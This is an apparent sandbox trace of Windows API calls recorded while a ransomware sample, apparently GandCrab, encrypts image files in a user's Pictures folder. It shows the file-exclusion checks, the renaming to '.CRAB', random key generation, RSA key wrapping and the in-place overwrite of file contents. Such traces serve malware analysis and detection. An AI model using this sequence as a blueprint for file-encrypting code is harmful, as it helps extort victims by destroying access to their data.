	[0133.434] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp.CRAB.CRAB"
	[0133.434] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.436] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.436] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.436] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.436] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.436] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.436] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.437] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0133.438] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.438] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.439] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.439] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.439] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.439] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.439] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.439] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.439] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e5a0) returned 1
	[0133.440] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320edd0) returned 1
	[0133.441] CryptGetKeyParam (in: hKey=0x320edd0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.441] CryptEncrypt (in: hKey=0x320edd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.441] GetLastError () returned 0x0
	[0133.441] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.441] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0133.442] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f2d0) returned 1
	[0133.442] CryptGetKeyParam (in: hKey=0x320f2d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.442] CryptEncrypt (in: hKey=0x320f2d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.442] GetLastError () returned 0x0
	[0133.442] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.442] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\pi3nzpm8a2xi46.bmp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.443] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.443] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.443] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x2bd2, lpOverlapped=0x0) returned 1
	[0133.453] VirtualAlloc (lpAddress=0x0, dwSize=0x2be0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.453] VirtualAlloc (lpAddress=0x0, dwSize=0x2be0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.454] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.454] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffd42e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.454] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x2be0, lpOverlapped=0x0) returned 1
	[0133.454] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.454] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.457] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.457] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.457] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.457] CloseHandle (hObject=0x3ec) returned 1
	[0133.457] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.458] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.458] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.458] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.458] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.458] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.458] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.458] lstrcmpW (lpString1="qb_Wkxn5UqSmm.png", lpString2=".") returned 1
	[0133.458] lstrcmpW (lpString1="qb_Wkxn5UqSmm.png", lpString2="..") returned 1
	[0133.458] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="qb_Wkxn5UqSmm.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png"
	[0133.458] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.459] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png") returned 60
	[0133.459] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png") returned 60
	[0133.459] lstrlenW (lpString=".png") returned 4
	[0133.459] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.459] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0133.459] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.459] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png") returned 60
	[0133.459] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png") returned 60
	[0133.459] lstrcmpiW (lpString1="qb_Wkxn5UqSmm.png", lpString2="desktop.ini") returned 1
	[0133.459] lstrcmpiW (lpString1="qb_Wkxn5UqSmm.png", lpString2="autorun.inf") returned 1
	[0133.459] lstrcmpiW (lpString1="qb_Wkxn5UqSmm.png", lpString2="ntuser.dat") returned 1
	[0133.459] lstrcmpiW (lpString1="qb_Wkxn5UqSmm.png", lpString2="iconcache.db") returned 1
	[0133.459] lstrcmpiW (lpString1="qb_Wkxn5UqSmm.png", lpString2="bootsect.bak") returned 1
	[0133.459] lstrcmpiW (lpString1="qb_Wkxn5UqSmm.png", lpString2="boot.ini") returned 1
	[0133.459] lstrcmpiW (lpString1="qb_Wkxn5UqSmm.png", lpString2="ntuser.dat.log") returned 1
	[0133.459] lstrcmpiW (lpString1="qb_Wkxn5UqSmm.png", lpString2="thumbs.db") returned -1
	[0133.459] lstrcmpiW (lpString1="qb_Wkxn5UqSmm.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.459] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.459] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png.CRAB") returned 65
	[0133.459] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\qb_wkxn5uqsmm.png")) returned 0x20
	[0133.460] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png", dwFileAttributes=0x20) returned 1
	[0133.460] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\qb_wkxn5uqsmm.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\qb_wkxn5uqsmm.png.crab")) returned 1
	[0133.461] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.461] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png.CRAB"
	[0133.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png.CRAB.CRAB"
	[0133.461] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.462] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.462] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.462] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.462] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.462] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.467] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e7c0) returned 1
	[0133.468] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.468] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.468] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.468] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.469] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0133.469] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.469] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.469] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.469] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0133.470] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f210) returned 1
	[0133.470] CryptGetKeyParam (in: hKey=0x320f210, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.470] CryptEncrypt (in: hKey=0x320f210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.470] GetLastError () returned 0x0
	[0133.470] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0133.470] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0133.471] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f310) returned 1
	[0133.471] CryptGetKeyParam (in: hKey=0x320f310, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.471] CryptEncrypt (in: hKey=0x320f310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.471] GetLastError () returned 0x0
	[0133.471] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.472] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\qb_Wkxn5UqSmm.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\qb_wkxn5uqsmm.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.472] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.472] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.472] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0xbae7, lpOverlapped=0x0) returned 1
	[0133.483] VirtualAlloc (lpAddress=0x0, dwSize=0xbaf0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.484] VirtualAlloc (lpAddress=0x0, dwSize=0xbaf0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.485] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.486] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff4519, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.486] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xbaf0, lpOverlapped=0x0) returned 1
	[0133.486] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.487] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.490] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.490] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.490] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.491] CloseHandle (hObject=0x3ec) returned 1
	[0133.491] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.491] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.491] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.491] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.492] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.492] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.492] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.492] lstrcmpW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2=".") returned 1
	[0133.492] lstrcmpW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="..") returned 1
	[0133.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="tsA 2y56Qpg4qRafrw8u.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg"
	[0133.492] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.492] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg") returned 67
	[0133.492] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg") returned 67
	[0133.492] lstrlenW (lpString=".jpg") returned 4
	[0133.492] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.493] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0133.493] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg") returned 67
	[0133.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg") returned 67
	[0133.493] lstrcmpiW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="desktop.ini") returned 1
	[0133.493] lstrcmpiW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="autorun.inf") returned 1
	[0133.493] lstrcmpiW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="ntuser.dat") returned 1
	[0133.493] lstrcmpiW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="iconcache.db") returned 1
	[0133.493] lstrcmpiW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="bootsect.bak") returned 1
	[0133.493] lstrcmpiW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="boot.ini") returned 1
	[0133.493] lstrcmpiW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="ntuser.dat.log") returned 1
	[0133.493] lstrcmpiW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="thumbs.db") returned 1
	[0133.493] lstrcmpiW (lpString1="tsA 2y56Qpg4qRafrw8u.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.493] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.493] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg.CRAB") returned 72
	[0133.494] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\tsa 2y56qpg4qrafrw8u.jpg")) returned 0x20
	[0133.494] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg", dwFileAttributes=0x20) returned 1
	[0133.494] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\tsa 2y56qpg4qrafrw8u.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\tsa 2y56qpg4qrafrw8u.jpg.crab")) returned 1
	[0133.498] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.498] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg.CRAB"
	[0133.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\tsA 2y56Qpg4qRafrw8u.jpg.CRAB.CRAB"
	[0133.498] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0133.499] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.500] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.500] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.500] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.500] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.500] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.500] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.501] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.502] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.502] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.502] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.502] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.502] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.502] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.502] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.503] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
